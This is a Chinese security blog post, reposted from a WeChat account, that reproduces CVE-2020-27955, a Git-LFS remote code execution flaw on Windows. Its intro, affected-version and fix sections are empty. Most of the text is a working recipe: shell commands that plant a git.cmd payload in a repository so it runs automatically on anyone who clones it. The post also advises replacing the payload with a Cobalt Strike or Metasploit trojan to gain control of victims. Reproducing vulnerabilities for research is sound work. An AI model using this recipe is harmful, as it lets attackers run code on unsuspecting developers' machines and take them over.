|
0x01 漏洞简介
0x02 影响版本
0x03 漏洞复现
-
https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1
git --version
git-lfs --version
我们先创建一个名为POC的恶意存储库,然后再依次执行以下命令即可,恶意文件名必须命名为git.bat/git.cmd/git.vbs/git.exe。
安装Git-LFS:
sudo apt-get install git-lfs
git clone https://github.com/3had0w/POC.git
echo calc.exe > git.cmd
git lfs track "*.dat"
echo "Junk" > large.dat
git add -A
git commit -m "POC"
git push -u origin master -f
其他更多Windows可执行文件可在环境变量PATHEXT中查看。
完成以上操作后我们的恶意存储库就创建好了,当有人使用git clone克隆该项目时,git.cmd恶意文件就会被下载到本地,并由Git-LFS扩展自动执行,无需交互,执行流程如下图。
如果需要上线至CS/MSF时可以将恶意存储库中的git.cmd恶意文件替换为CS/MSF的二进制木马文件即可,不过还是得命名为git.exe,接着我们重新执行一下git clone就能够正常上线了。
0x04 漏洞修复
0x05 参考链接
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
https://infosecwriteups.com/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(贝塔安全实验室):CVE-2020-27955 Git-LFS远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论